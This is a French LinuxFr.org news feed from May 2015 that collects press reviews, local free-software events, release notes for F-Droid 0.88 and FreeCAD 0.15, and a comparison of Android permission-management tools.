Linux France

S'abonner à flux Linux France
Mis à jour : il y a 20 min 33 sec

Revue de presse de l'April pour la semaine 19 de l'année 2015

Lundi 11 Mai

La revue de presse de l'April est régulièrement éditée par les membres de l'association. Elle couvre l'actualité de la presse en ligne, liée au logiciel libre. Il s'agit donc d'une sélection d'articles de presse et non de prises de position de l'association de promotion et de défense du logiciel libre.

Sommaire

[Libération.fr] Miracles et mirages du «crowdsourcing»

Par Karën Fort, le jeudi 7 mai 2015. Extrait:

La plateforme d’Amazon permettrait de faire réaliser des tâches pour très peu cher, avec une bonne qualité de résultat, par des gens pour lesquels il s’agit d’un hobby. La réalité est plus proche de la mine de charbon que de la mine d’or.

Lien vers l'article original: http://www.liberation.fr/societe/2015/05/07/miracles-et-mirages-du-crowdsourcing_1297262

[ActuaLitté.com] Le DRM, la mauvaise réponse au partage simplifié d'un ebook

Par Nicolas Gary, le mercredi 6 mai 2015. Extrait:

Aujourd'hui, mercredi 6 mai, est une journée consacrée, à travers le monde, à la lutte contre les DRM. Cette mesure technique de protection est «une mauvaise réponse apportée» à «la facilité de partager les ebooks». Plutôt que de se lancer dans une explication du comment neutraliser ces MTP, l'April vient de diffuser une vidéo éloquente, sur les ravages qu'un DRM occasionne dans la pratique pourtant innocente de la lecture.

Lien vers l'article original: https://www.actualitte.com/usages/le-drm-la-mauvaise-reponse-au-partage-simplifie-d-un-ebook-56625.htm

Voir aussi:

[Le Monde.fr] Réforme du droit d'auteur, piratage…: Bruxelles dévoile son «agenda numérique»

Par Cécile Ducourtieux, le mercredi 6 mai 2015. Extrait:

La Commission européenne envisage de réformer le droit d’auteur et de renforcer la lutte contre le piratage. Elle pose la question de la régulation, ou non des plates-formes Internet (Amazon, Apple, Facebook ou Google).

Lien vers l'article original: http://www.lemonde.fr/economie/article/2015/05/06/bruxelles-devoile-son-agenda-numerique_4628649_3234.html

Et aussi:

[EurActiv] Bruxelles s'attelle à la réforme du mécanisme d'arbitrage du TTIP

Par la rédaction, le mercredi 6 mai 2015. Extrait:

La commissaire européenne en charge du commerce, Cecilia Malmström, a rencontré son homologue américain aux États-Unis le 4 mai, afin de proposer une réforme du mécanisme de règlement des différends entre investisseurs et États (RDIE) dans le cadre du TTIP.

Lien vers l'article original: http://www.euractiv.fr/sections/commerce-industrie/bruxelles-sattelle-la-reforme-du-mecanisme-darbitrage-du-ttip-314364

[Slate.fr] Largement adoptée par l'Assemblée, la loi sur le renseignement a divisé le PS comme l'UMP

Par Grégor Brandy, le mardi 5 mai 2015. Extrait:

Si une majorité des députés, dans la majorité comme dans l'opposition, ont voté le texte du gouvernement, 86 s'y sont opposés et 42 se sont abstenus.

Lien vers l'article original: http://www.slate.fr/story/101233/projet-loi-renseignement-vote

Et aussi:

Voir aussi:

[L'Opinion] Le brevet unitaire européen est conforté

Par Hugo Sedouramane, le lundi 4 mai 2015. Extrait:

La Cour de justice de l'Union européenne a débouté l'Espagne qui s'opposait aux processus juridiques définissant le déploiement du brevet à effet unitaire

Lien vers l'article original: http://www.lopinion.fr/4-mai-2015/brevet-unitaire-europeen-est-conforte-mise-a-jour-23923

Voir aussi:

Télécharger ce contenu au format Epub

Lire les commentaires

Écrire un livre à 1000 mains !

Lundi 11 Mai

Eva Wissenz des éditions Seepia et Brian Fraval proposent un projet de co-création "Changeurs de Monde", afin de mettre en lumière des exemples positifs et constructifs du passé et du présent. Des personnes qui sont une source d'inspiration pour transformer le monde vers plus de justice, de paix et de diversité.

Ce projet est soutenu par Matthieu Ricard et la fondation Umani. Les valeurs de l'Open Source et du logiciel libre sont au cœur de ce projet d'édition collectif.

NdM : peut-être « au cœur » en terme de sujet, mais notons que l'ensemble des textes sont proposés sous la licence Creative Commons By-NC 2.0, donc une licence non libre. Il n'est pas à notre connaissance prévu de le placer sous une licence libre après un certain nombre de ventes ou après une date donnée.

Des personnages comme Linus Torvalds et Richard Stallman ou des projets comme TED (série de conférences, avec vidéos publiées sous CC By-NC-ND) et la Khan Academy (contenus éducatifs gratuits en ligne, principalement sous des licences à usage non-commercial) seront mis en avant.

Nous avons besoin de récits de ceux qui changent véritablement le monde pour plus de liberté.

Télécharger ce contenu au format Epub

Lire les commentaires

Revue de presse - mai 2015

Dimanche 10 Mai

Le printemps s'est installé. Le mois de mai est entamé avec ses jours fériés en perspective. Enfin du temps pour lire les nouveaux magazines disponibles chez les marchands de journaux.

Planète Linux n°84 vous propose de découvrir quelques distributions méconnues (Ubuntu MATE, Evolve OS, BackBox Linux) et d'autres plus renommées (Elementary OS, Lubuntu, Tails, OpenELEC). Question matériel, le nouveau Raspberry Pi est passé en revue. Les sujets plus pragmatiques sont toujours au sommaire : la PAO avec Scribus et la retouche photo avec GIMP, ainsi que l'hébergement d'un cloud et l'utilisation d'un serveur VPN.

Linux Pratique n°89 vous propose de créer votre VPN (avec OpenVPN), de protéger votre cloud et d'héberger votre messagerie. Plus original, un article détaille le smartphone sous Ubuntu Touch.

Open Silicium n°14 intéressera les développeurs Android et ceux qui utilisent Debian avec un article sur la mise en place d'un environnement de compilation croisée.

GNU/Linux Magazine n°182 vous propose d'utiliser la stéganographie pour dissimuler ou détecter des données cachées. Mais aussi d'apprendre à créer des tableaux de bord en mode console, programmer en JavaScript à l’aide d’Underscore.js, et dessiner en PostScript.
MISC n° 79 détaille les APT, ce qui dans ce contexte signifie ADVANCED PERSISTENT THREATS, et comme toujours des articles sur les malwares, les exploits et le forensic, quelques épreuves d'un challenge sécurité, une étude "Contrôle d'accès physique : étude des cartes sans contact"…

Enfin, le mook de la saison (Linux Pratique hors-série n°32) a pour objet l'apprentissage de la ligne de commandes en 7 jours.

Les sommaires complets de ces magazines sont accessibles via les liens ci-dessous.

Vous pouvez éditer cette partie en cliquant sur le crayon !

Télécharger ce contenu au format Epub

Lire les commentaires

Journée Jeux Vidéo sous Linux le samedi 23 mai 2015 à Schiltigheim

Dimanche 10 Mai

Desclicks organise une seconde journée jeux vidéo sous Linux ce samedi 23 mai à partir de 9h du matin. L’événement aura lieu dans les locaux de l’association, au 3 rue St Paul à Schiltigheim. L’entrée est à prix Libre. Cette journée sera l’occasion de passer un moment convivial en découvrant les diverses possibilités de jeu sur cette plate-forme (voir la 2ème partie).
Pour cette journée nous mettrons l’accent sur le simulateur de vol FlightGear en proposant une tournée dans le ciel de Strasbourg avec les bâtiments et routes générées à l’aide des données d’OpenStreetMap et du script osm2city.

Vous pourrez notamment faire des parties de :

  • Stratégie avec :
    • 0ad
    • Hedgewars
    • Age of Empire : Forgotten Empires
  • Tir avec :
    • Xonotic
    • Teeworlds
    • Urban Terror

D’autres classiques et jeux sans DRM vous attendent sur nos machines également. Les possibilités de jeux sous Steam ou d’émulation de programmes Windows avec PlayOnLinux seront également présentées.

Notre capacité d’accueil étant limitée à environ 15 postes, nous invitons les personnes intéressées à s’inscrire sur la page Framadate afin que nous puissions nous organiser en conséquence.

Pour ceux qui souhaitent amener leur machine, pensez à télécharger les jeux en avance, les versions utilisées pour cette journée seront :

Télécharger ce contenu au format Epub

Lire les commentaires

Rencontre Gard-Linux, mardi 12 mai 2015 à Vergèze

Vendredi 8 Mai

La prochaine rencontre de l'association Gard-Linux aura lieu mardi 12 mais 2015 de 19h à 22h, au centre socioculturel Marcel Pagnol, 99 rue Marcel Pagnol, 30310 Vergèze.

Cette soirée sera l'occasion de discussions et débats autour de Linux et des logiciels libres, ainsi que d'entraide entre utilisateurs.

Vous voulez vous lancer et essayer Linux ? N'hésitez plus, nous pourrons vous accompagner sur ce chemin.

La soirée est ouverte à tous. À noter : repas tiré du sac.

À bientôt !

Télécharger ce contenu au format Epub

Lire les commentaires

Permanence Emmabuntüs et Logiciels Libres à Emmaüs Saint-Aunès - Mai 2015

Vendredi 8 Mai

Samedi 9 mai 2015 de 14h00 à 18h00
Communauté Emmaüs Montpellier-Saint-Aunès
La Vieille Cadoule 34130 Saint-Aunès

GPS Latitude : 43.649363 | Longitude : 3.991591

Rendez-vous mensuel, le deuxième samedi.
Pour les animateurs, réservez les repas et le covoiturage le jeudi au plus tard.

Dans le cadre de notre partenariat avec la communauté Emmaüs, l’équipe de Montpel’libre vous donne rendez-vous chez Emmaüs pour une journée d’information et de sensibilisation à l’utilisation des Logiciels Libres. Nous vous présenterons Ubuntu et bien sûr l’une de ses dérivées Emmabuntüs. Assistance à la vente sur les aspects techniques

  • Vous désirez un ordinateur à votre service ?
  • Vous désirez un ordinateur qui va vite ?
  • Vous désirez un ordinateur qui ne communique aucune données à des inconnus ?
  • Vous désirez un ordinateur qui n’a pas besoin d’antivirus ?

Il vous suffit pour cela de venir nous rencontrer à la boutique informatique.

  • Vous rencontrerez des personnes qui sont là pour vous parler de Logiciels Libres.
  • Vous rencontrerez un équipe de passionnés prête à répondre à vos questions et vos attentes.
  • Vous pourrez acheter un ordinateur déjà installé et configuré, prêt à être utilisé.
  • Vous pourrez acquérir un ordinateur reconditionné avec la distribution Emmabuntüs.

Pour cela il vous suffit de venir nous voir sur les stands informatique. Les prix sont très attractifs. Toutes les sommes sont intégralement encaissées par la communauté Emmaüs. Nous vous apporterons notre expertise technique.

Présentation Emmabuntüs, historique et la vidéo : Emmabuntüs, des ordinateurs pour tous.

Télécharger ce contenu au format Epub

Lire les commentaires

Sortie de la version 0.88 de F-Droid

Vendredi 8 Mai

La version 0.88 de F-Droid est disponible depuis ce 29 avril.

Elle permet d'installer des logiciels libres sur votre ordiphone, sans nécessiter un compte google.

F-Droid est un gestionnaire de dépôts d'applications pour Android. Il est libre sous licence GPLv3 et les sources sont sur GitLab depuis la mort de Gitorious. Il propose un logiciel client sous Android et un logiciel serveur (pour lequel Debian fournit un paquet). Par défaut, le client utilise le dépôt F-Droid qui ne contient que des logiciels libres, pour l'instant le seul autre dépôt avec un peu d'importance semble être celui du Guardian Project. Il n'y a bien entendu aucune dépendance aux Google Play Services, il peut donc remplacer le Google Play Store ou être installé à côté.

Les changements depuis la 0.83 (la dernière version stable) sont disponibles dans la suite de la dépêche.

Liste des changements de F-Droid 0.88
  • Pour Android 4.1 et plus, la notification de mise à jour indique les applications à mettre à jour.
  • La langue de l'interface peut être changée sans modifier celle du système.
  • Correction d'un problème avec des fichiers XML qui pouvaient s'entasser dans le dossier data.
  • Amélioration de la recherche et gestion des liens vers Amazon et Google Play.
  • Correction d'une régression où le client web proposait une action "Ajouter un nouveau dépôt".
  • Affichage d'un message quand il n'y a aucune application à afficher.
  • Dans une version antérieure, F-Droid avait introduit un système d'échange d'apps (Menu > Échange d'apps). Avec cette nouvelle version, la connexion pour échanger sur un appareil va entraîner une connexion d’échange également sur l'autre appareil.
  • Des petits corrections de l'interface.
  • Les termes sont maintenant fractionnés pour la recherche. Par exemple, tapez “fire fox” va trouver FireFox.
  • Ignore les espaces inutiles d'une recherche.
  • Correction d'un bogue qui faisait que des catégories étaient toujours vides avec l'utilisation d'une langue autre que l'anglais.
  • Correction de divers problèmes de la fonctionnalité d'échange d'applications (particulièrement sous Android 2.3).
Cas de Firefox Mobile

Firefox est actuellement dans le dépôt F-Droid. Mais il contient apparemment des binaires non libres ! Il est donc prévu qu'il soit retiré, mais un fork entièrement libre, du nom de Fennec FDroid, est en préparation.

Télécharger ce contenu au format Epub

Lire les commentaires

Meilleures contributions LinuxFr.org : les primées d'avril 2015

Jeudi 7 Mai

On continue sur notre lancée de récompenser ceux qui chaque mois contribuent au site LinuxFr.org (dépêches, commentaires, logo, journaux, patchs, etc.). Vous n'êtes pas sans risquer de gagner un abonnement à GNU/Linux Magazine France ou encore un livre des éditions Eyrolles ou ENI. Voici les gagnants du mois d'avril 2015 :

Abonnement d'un an à Linux Magazine France

Livres des éditions Eyrolles et ENI

Les livres qu'ils ont sélectionnés sont en seconde partie de la dépêche. N'oubliez pas de contribuer, LinuxFr.org vit pour vous et par vous !

Certains gagnants n'ont pas pu être joints ou n'ont pas répondu. Les lots ont été ré-attribués automatiquement. N'oubliez pas de mettre une adresse de courriel valable dans votre compte ou lors de la proposition d'une dépêche. En effet, c'est notre seul moyen de vous contacter, que ce soit pour les lots ou des questions sur votre dépêche lors de sa modération. Tous nos remerciements aux contributeurs du site ainsi qu'à GNU/Linux Magazine France, aux éditions Eyrolles et ENI.

Les livres sélectionnés par les gagnants :

                        Télécharger ce contenu au format Epub

Lire les commentaires

Atelier Arduino le samedi 13 juin 2015 à Courbevoie

Jeudi 7 Mai

Dans le cadre de ses formations bi-mensuelles, le GULL StarinuX vous convie à l'atelier : ARDUINO le samedi 13 juin de 11h à 18h30, 48 rue de Colombes 92400 Courbevoie (salle Corail) À 8 min de Saint-Lazare, direction La Défense, descendre à Courbevoie).

Précision : comme à l'accoutumée, une participation de 20€ est demandée (10€ pour les demandeurs d'emploi), cette cotisation est valable un an pour environ 14 ateliers.

Au plaisir de votre présence Arduinienne le 13 juin !

Télécharger ce contenu au format Epub

Lire les commentaires

Gestion de la vie privée sur Android : CyanogenMod vs Kapuer

Mardi 5 Mai
Gestion de la vie privée sur Android : Comment se protéger ?

Les applications que nous installons sur nos smartphones demandent de plus en plus à avoir accès à nos informations privée. De base, il n'est pas possible de gérer les permissions que demandent les applications. Soit on accepte tout ce qu'elles demandent et on peut les installer, soit ça ne nous plait pas et il faut se passer de l'application.

Peu d'outils nous permettent de gérer les permissions des applications. Aujourd'hui nous allons en comparer 2 : Le Privacy Guard Manager embarqué sur la distribution CyanogenMod et Kapuer, l'application basé sur le framework Xposed.

    Sommaire Présentation de Privacy Guard Manager


    http://www.cyanogenmod.org/
    Privacy Guard Manager permet de passer outre le système d’origine d’Android et de gérer, une fois l’application installée, sa liste de permissions. Ainsi un utilisateur peut installer une application même si celle-ci contient une ou plusieurs permissions qu’il ne souhaite pas lui accorder, après l’installation, en utilisant Privacy Guard Manager, il pourra avoir accès à la liste des applications et pour chacune d’entre elle la liste des permissions.

    Si Privacy Guard Manager est très simple à utiliser, il demande aussi beaucoup de temps pour mettre en place et maintenir sa vie privée. Selon le recensement effectué par Google en 2013 (http ://think.withgoogle.com/mobileplanet/fr/), les français ont en moyenne 32 applications installées sur leur smartphone et seulement 3 payantes. En analysant les permissions des 50 applications gratuites les plus téléchargées, on voit que chaque application demande en moyenne 11,4 permissions dont 5,72 ont un impact fort sur la vie privée. Un utilisateur doit donc gérer en moyenne 364 permissions dont 183 ont un impact direct sur sa vie privée. Avec Privacy Guard, l’utilisateur gère une par une les permissions. Donc beaucoup de temps et de réflexion en perspective.
    Un autre inconvénient apparaît en utilisant Privacy Guard : gérer les permissions hors de l’utilisation de l’application oblige l’utilisateur à se mettre dans le bon contexte pour savoir ce qu’il veut accorder ou refuser. Cet effort cognitif n’est pas facile et peut amener à des erreurs sur la gestion des permissions. Par exemple une personne ne veut pas qu’une application accède à sa localisation et supprime toutes les permissions correspondantes. Or de temps en temps, elle utilise une application GPS pour trouver des itinéraires. En ayant supprimé la permission liée à la localisation, l’application GPS ne fonctionnera pas correctement et la personne ne fera peut être pas le rapprochement entre la permission supprimée et le non fonctionnement de l’application. Si la gestion de cette permission était intervenue pendant l’utilisation de l’application, la personne aurait compris que dans ce cas là, il fallait laisser l’accès à sa localisation et n’aurait pas eu de problèmes.

    Présentation de Kapuer


    http://kapuer.org/
    Kapuer est une application pour Android permettant tout comme Privacy Guard de gérer les permissions des applications. Mais Kapuer se distingue de Privacy Guard sur de nombreux points. Premièrement, Kapuer n'est pas un simple outil de gestion de permission. Il embarque un système de recommandations qui va apprendre vos préférences en terme de vie privée pour vous aider à vous protéger. Concrètement, à chaque fois qu'une application va vouloir accéder à une de vos données, privée, Kapuer va intercepter cette requête et va vous en informer. Vous avez alors le choix d'accepter ou de refuser que cette application ait accès à vos informations personnelles. Votre décision permet à Kapuer d'apprendre vos préférences, ce qui lui permettra plus tard, lorsqu'il aura suffisamment de connaissances sur ces préférences, de vous proposer des règles pour mieux protéger vos données personnelles.

    En utilisant Kapuer, les décisions se prennent pendant l'utilisation de l'application, elles sont donc facilitées. Et grâce à l'apprentissage des préférences et à la proposition de règles complexes, vous n'avez pas à gérer une par une toutes les permissions. Si vous n'avez pas envie de partager votre calendrier par exemple, vous allez refuser la permission sur quelques applications et Kapuer va vous proposer une règle pour refuser automatiquement que toutes les applications puissent accéder à votre calendrier.
    Bien sur Kapuer intègre un gestionnaire de permission pour pouvoir modifier ou supprimer une règle que vous avez acceptée. Par contre Kapuer étant encore en version bêta, il peut y avoir encore quelques bugs.

    La comparaison

    Privacy Guard est intégré à CyanogenMod, il est facile d'utilisation mais demande du temps et de la réflexion. De plus si vous installez une nouvelle application, il faudra penser à aller gérer ses permissions avant de l'utiliser.
    Kapuer est une application qu'il faut installer mais qui demande d'abord l'installation du framework Xposed et demande un accès root. Mais il est encore plus simple d'utilisation que Privacy Guard, s'utilise pendant l'utilisation des applications pour faciliter les décisions et les nouvelles applications sont gérées dès leur installation. En plus son côté intelligent permet de réduire le nombre de règles nécessaires pour gérer toutes les permissions.
    Pour comparer un peu plus les 2 outils, un petit test était nécessaire. Combien de "clics" sont nécessaires pour gérer les permissions de 50 applications. Les 50 applications utilisées sont les 50 applications gratuites les plus téléchargées sur Android Store. Il y a un total de 183 permissions liées à la vie privée à gérer. J'ai choisi de créer 10 règles pour savoir si j'allais accepter ou refuser une permission. Ces règles sont du style "Règle n°1 : J’autorise les applications de la catégorie Jeux à avoir un accès à Internet". Ainsi je sais comment configurer Privacy Guard et comment répondre aux interactions de Kapuer.

    Bilan :

    Les règles qui ont été utilisées sont :

    • Règle n°1 : J’autorise les applications de la catégorie Jeux à avoir un accès à Internet.
    • Règle n°2 : J’autorise les applications de la catégorie Social à avoir accès au réseau et aux données systèmes.
    • Règle n°3 : J’autorise les applications de la catégorie Communication à avoir accès au réseau et aux services.
    • Règle n°4 : J’autorise les applications de la catégorie Gadget à avoir accès à Internet.
    • Règle n°5 : J’autorise les applications de la catégorie Musique&Audio à avoir accès au réseau et à l’audio.
    • Règle n°6 : J’autorise les applications de la catégorie Outils à avoir accès à tout ce qu’elles demandent.
    • Règle n°7 : J’autorise les applications de la catégorie Voyages&Infos à avoir accès au réseau et au GPS.
    • Règle n°8 : J’autorise les applications de la catégorie Divertissement à avoir accès à Internet.

    On peut voir que pour chaque règle, Kapuer a besoin de moins d'interactions que Privacy Guard. Si sur certaines règles, la différence est moindre, sur la règle n°1 (qui porte sur les jeux avec 28 applications sur les 50), la différence est énorme. Ce résultat est possible avec Kapuer grâce à une règle qui a permis de gérer directement tous les jeux et donc de ne pas avoir à les gérer chacun, un à un.
    Kapuer permet donc bien de contrôler la vie privée efficacement !

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Ring, la plate-forme de communication multimédia distribuée et sécurisée

    Mardi 5 Mai

    Savoir-faire Linux et l'équipe de développement de SFLphone ont le plaisir de vous annoncer la sortie en version alpha d'une nouvelle plate-forme de communication texte, voix et vidéo qui ne requiert pas de serveur central et qui laisse le contrôle et la confidentialité entre les mains des utilisateurs.

    NdM : bien que le projet soit en version alpha, il hérite de SLFPhone, développé depuis 2006

    En adoptant la technologie de la table de hachage distribuée (DHT) qui est utilisée par les réseaux de partage de fichiers comme BitTorrent, la plate-forme crée son propre réseau sécurisé sur Internet sur lequel elle distribue des fonctions d’annuaire, d’authentification et de chiffrement à tous les systèmes qui s’y connectent. C’est pourquoi elle a été appelée Ring.

    Suite en deuxième partie…

    Ring (GPLv3) est composé de trois développements distincts :

    • le Ring daemon : Dring ;
    • une bibliothèque commune pour les Clients : Libringclient ;
    • les interfaces clients pour :
      • Gnome ;
      • KDE ;
      • OS X

    Le projet est actuellement disponible pour OS X & pour les distributions Linux : des paquets pré-compilés sont publiés, et les procédures de compilation sont documentées. Le projet Ring dispose d'un wiki spécifique. Des ports pour Windows & Android sont en cours.

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Revue de presse de l'April pour la semaine 18 de l'année 2015

    Mardi 5 Mai

    La revue de presse de l'April est régulièrement éditée par les membres de l'association. Elle couvre l'actualité de la presse en ligne, liée au logiciel libre. Il s'agit donc d'une sélection d'articles de presse et non de prises de position de l'association de promotion et de défense du logiciel libre.

    Sommaire

    [ITespresso] Brevets: Microsoft fait fructifier le trésor Android

    Par Clément Bohic, le jeudi 30 avril 2015. Extrait:

    Qisda (marque BenQ) rejoint la liste des fabricants qui versent des royalties à Microsoft pour vendre des terminaux sous Android ou Chrome OS.

    Lien vers l'article original: http://www.itespresso.fr/brevets-microsoft-fructifier-tresor-android-94941.html

    [Next INpact] Loi numérique: le rapport du CNNum se fait encore attendre

    Par Xavier Berne, le jeudi 30 avril 2015. Extrait:

    Alors que le gouvernement n’a de cesse de promettre que le futur projet de loi numérique d’Axelle Lemaire sera présenté en Conseil des ministres au mois de juin, le Conseil national du numérique (CNNum) ne lui a toujours pas remis son rapport, censé être le préalable à ce texte d’envergure. On fait le point.

    Lien vers l'article original: http://www.nextinpact.com/news/93969-loi-numerique-rapport-cnnum-se-fait-encore-attendre.htm

    [Next INpact] Loi Renseignement: Bernard Cazeneuve répond à la CNCDH, répondons à Bernard Cazeneuve

    Par Marc Rees, le mercredi 29 avril 2015. Extrait:

    Le 20 avril dernier, la Commission Nationale Consultative des Droits de l'Homme a publié un avis au vitriol (PDF) concernant le projet de loi sur le renseignement. La missive a peu été appréciée par le ministre de l’Intérieur, qui s’est fendu d’une note en réponse, histoire de contrecarrer ces remarques. Après avoir longuement analysé le projet de loi, nous avons décidé de reprendre les 20 remarques de la CNCDH, mises en avant par le ministre avec ses réponses, afin d’y apporter à notre tour nos commentaires.

    Lien vers l'article original: http://www.nextinpact.com/news/93947-loi-renseignement-bernard-cazeneuve-repond-a-cncdh-repondons-a-bernard-cazeneuve.htm

    Et aussi:

    [Developpez.com] L'Europe veut lutter contre la surveillance de masse

    Par Michael Guilloux, le mardi 28 avril 2015. Extrait:

    Les divulgations d’Edward Snowden, l’ex-employé de la NSA, ont alerté le monde informatique sur la nécessité de renforcer la sécurité des différentes plateformes, dont une bonne partie n’a pas résisté aux outils sophistiqués d’espionnage des agences de renseignements US et partenaires.

    Lien vers l'article original: http://www.developpez.com/actu/84501/L-Europe-veut-lutter-contre-la-surveillance-de-masse-par-le-financement-des-logiciels-open-source-cles-et-la-chasse-aux-bugs-dans-ces-outils

    [L'OBS] La France rit de se voir si open en son miroir

    Par Robin Prudent et Rémi Noyon, le lundi 27 avril 2015. Extrait:

    Notre beau pays va présider le Partenariat pour un gouvernement ouvert, noué entre 65 pays, qui promeut l’ouverture des données et des gouvernements. Mais l’a-t-il vraiment mérité?

    Lien vers l'article original: http://rue89.nouvelobs.com/2015/04/29/france-rit-voir-si-open-miroir-258878

    [L'OBS] Réparer un tracteur, une voiture? Illégal selon les constructeurs

    Par Andréa Fradin, le lundi 27 avril 2015. Extrait:

    Effet direct de l’évolution de la propriété intellectuelle aux Etats-Unis: les agriculteurs n’auraient pas le droit de réparer leurs tracteurs… sous peine d’être poursuivis pour violation du copyright.

    Lien vers l'article original: http://rue89.nouvelobs.com/2015/04/27/reparer-tracteur-voiture-les-constructeurs-estiment-cest-illegal-258871

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Jeudi du libre du 7 mai 2015 : Projet de Loi relatif aux Renseignements, et maintenant ?

    Mardi 5 Mai

    Rendez-vous mensuels organisés par l'ALDIL, l'Association pour le Développement de l'Informatique Libre, le GULL Lyonnais, les jeudis du libre sont des conférences gratuites et libres d'accès ayant pour sujet le logiciel libre et ce qui gravite autour. Ce mois-ci, le sujet traité sera le Projet de Loi relatif aux Renseignements.

    Détails en seconde partie…

    La conférence

    Mardi 5 mai, l'assemblée nationale va voter le texte du projet de loi sur la réforme des services de renseignements. Cette loi pose des questions fondamentales sur la vie privée, la séparation des pouvoirs et l'équilibre entre les citoyens et les institutions. Les associations impliquées sur ce sujet viennent vous présenter leur interprétation des implications de cette loi sur la vie quotidienne.

    Lors de cette conférence, nous aborderons les questions sur le plan règlementaire, législatif et économique en rappelant le contexte et l'historique de ces 10 dernières années. Nous discuterons également des actions en cours et des projets futurs.

    Le lieu

    La conférence a lieu à la Maison Pour Tous / Salle des Rancy :

    249 rue Vendôme - 69003 LYON (Métro Saxe Gambetta).

    Elle débutera à 19h30.

    Télécharger ce contenu au format Epub

    Lire les commentaires

    AFUP Lyon - 6 mai Conférence sur AWS

    Mardi 5 Mai

    Le 6 mai, l'antenne lyonnaise de l'AFUP (Association Française des Utilisateurs de PHP) accueillera Benoit Viguier, développeur chez Wizacha, pour nous faire un retour d’expérience sur la migration de l’ensemble de leur infrastructure vers Amazon Web Services.

    La conférence aura lieu dans les locaux d’Epitech, au 86 boulevard Marius Vivier-Merle 69003 LYON.

    Le cloud est utilisé par tous les grands du web mais il ne leur est pas réservé, nul besoin d’attendre plus tard pour déployer son application dans le nuage.

    Le principal avantage pour une petite entreprise, c’est la flexibilité. Pouvoir n’utiliser que ce dont on a besoin, tout en sachant qu’on peut rapidement passer à l’échelle si besoin.

    Voici un retour d’expérience sur un hébergement full AWS en startup: pourquoi le cloud, comment migrer pas à pas, comment passer à l’échelle, et combien ça coûte.

    La conférence aura lieu le mercredi 6 mai à 19h, dans les locaux d’Epitech, au 86 boulevard Marius Vivier-Merle 69003 LYON.

    Télécharger ce contenu au format Epub

    Lire les commentaires

    épisode de No Limit Secu dédié à l'OWASP

    Mardi 5 Mai

    No Limit Secu est un podcast (ou bala(do)diffusion) indépendant, animé par des personnes passionnées qui sont parties prenantes dans le domaine de la cybersécurité à des rôles et dans entreprises diverses.

    Le podcast est publié à fréquence hebdomadaire, sur son site web, généralement le dimanche. Une nouvelle thématique est abordée chaque semaine, en présence d'un invité lié de près ou de loin à cette thématique.

    L'épisode de cette semaine porte sur la fondation OWASP. L'invité est Sébastien Gioria, qui dirige la division française de l'OWASP.

    L’OWASP (Open Web Application Security Project) est une fondation qui gère une communauté travaillant sur la sécurité des applications web. Sa philosophie est d’être à la fois libre et ouverte à tous. Elle a pour vocation de publier des recommandations de sécurisation Web et de proposer aux internautes, administrateurs et entreprises des méthodes et outils de référence permettant de contrôler le niveau de sécurisation de ses applications Web.

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Second Meetup Python à Bruxelles - vendredi 8 mai 2015

    Lundi 4 Mai

    On continue ! Suite au succès du premier Meetup déjà annoncé ici, on enchaine cette fois sur le thème précis du déploiement. Vous ne savez pas trop comment gérer vos machines virtuelles, ce qu'est SaltStack ou vous voulez au contraire partager vos bonnes (et mauvaises) expériences sur le sujet ? rejoignez-nous ce vendredi dans les locaux de Railnova au cœur de Bruxelles pour apprendre ensemble mais surtout discuter autour d'un de nos sujets favoris : Python ! 

    PS: le Meetup est bilingue francais/anglais afin d'etre le plus inclusif possible.

    Télécharger ce contenu au format Epub

    Lire les commentaires

    Sortie de FreeCAD 0.15

    Lundi 4 Mai

    La nouvelle version publiée de FreeCAD est disponible depuis le 8 avril 2015. Cette nouvelle version apporte une grande variété de nouveautés dans la plupart des ateliers, comme par exemple le support de l'Occulus Rift.
    FreeCAD est un logiciel libre et multi-plateforme de conception 3D paramétrique assisté par ordinateur.

    Les nouveautés

    L'atelier Architecture (Arch) bénéficie de nombreuses nouveautés:

    • L'import/export IFC est basé sur la plus récente bibliothèque IfcOpenShell ; il est maintenant plus rapide et rend FreeCAD compatible dans les deux sens avec le processus BIM.
    • La coupe d'un objet est possible selon un plan.
    • Le nouvel outil Toiture propose plus de contrôle sur les paramètres de chaque pan de Toit : pente, largeur, épaisseur, débord…
    • Un nouvel objet Panneaux permet de créer toutes sortes d'objets à base de panneaux.
    • Un nouvel objet Équipement permet d'ajouter toutes sortes d'objets de type sanitaire, mobilier, design d'intérieur avec des propriétés propres telles que la référence du produit, son lien, son fabricant, etc.

    L'atelier Esquisse (Sketcher) supporte désormais les Ellipses. De plus cet atelier offre des outils pour analyser et réparer les esquisses.

    L'atelier Tableur (Spreadsheet) a été entièrement recodé afin de fournir un atelier robuste de feuilles de calculs, il permet de récupérer toutes sortes d'informations à partir du modèle.

    L'atelier Mise en plan (Drawing) permet maintenant d'exporter directement les mises en plan en DXF.

    La liste complète des nouveautés est disponible dans la Notes de version 0.15

    Des ateliers/modules complémentaires :

    De nouveaux modules sont apparus, développés par des utilisateurs de FreeCAD. Ils ne sont pas intégrés directement dans la version officielle pour diverses raisons mais sont devenus très populaires par leurs fonctionnalités très attendues dans FreeCAD.
    Le module Drawing Dimensioning permet d'ajouter des cotes directement dans une page de dessin.
    Le module Assembly2 permet de créer des assemblages par ajout de contraintes.
    Le module Animation permet de créer des animations.
    La macro WorkFeature propose de nombreux outils de création de point, ligne, plan de construction pour vous aider dans la réalisation de vos modèles.

    Un PPA est en cours de création afin de faciliter l'installation (sur Ubuntu) de ces modules complémentaires.

    La suite

    Module Path : ce nouveau module devrait être intégré à FreeCAD sous peu. Cet atelier permet d'importer, éditer et générer du GCODE pour l'utilisation d'une machine CNC directement depuis un projet FreeCAD.
    L'atelier est très bien documenté sur Github (EN)

    Module Architecture : la compatibilité BIM/IFC est toujours une priorité. De plus des outils de métrés sont déjà en cours de développement.

    Module FEM (Analyse par la méthode des éléments finis) : depuis la sortie de la version 0.15 de nombreuses fonctionnalités ont été ajoutées dans cet atelier qui s’appuie sur Netgen pour réaliser le maillage et Calculix pour le calcul d'efforts.

    Module Assemblage : cet atelier est en développement depuis très longtemps mais est freiné par de nombreux aspects compliqués de la modélisation paramétrique, comme par exemple le nommage topologique (qui permet de nommer une entité d'un objet quelles que soient les modifications apportées).

    Le développement financé

    Le module PATH est le premier atelier à être développé suite à un financement participatif. Ce nouveau module a été créé par Yorik van Havre, Daniel Falck et Brad Collette. Le processus de financement étant un peu spécial Yorik expliquera la démarche sur son blog bientôt.

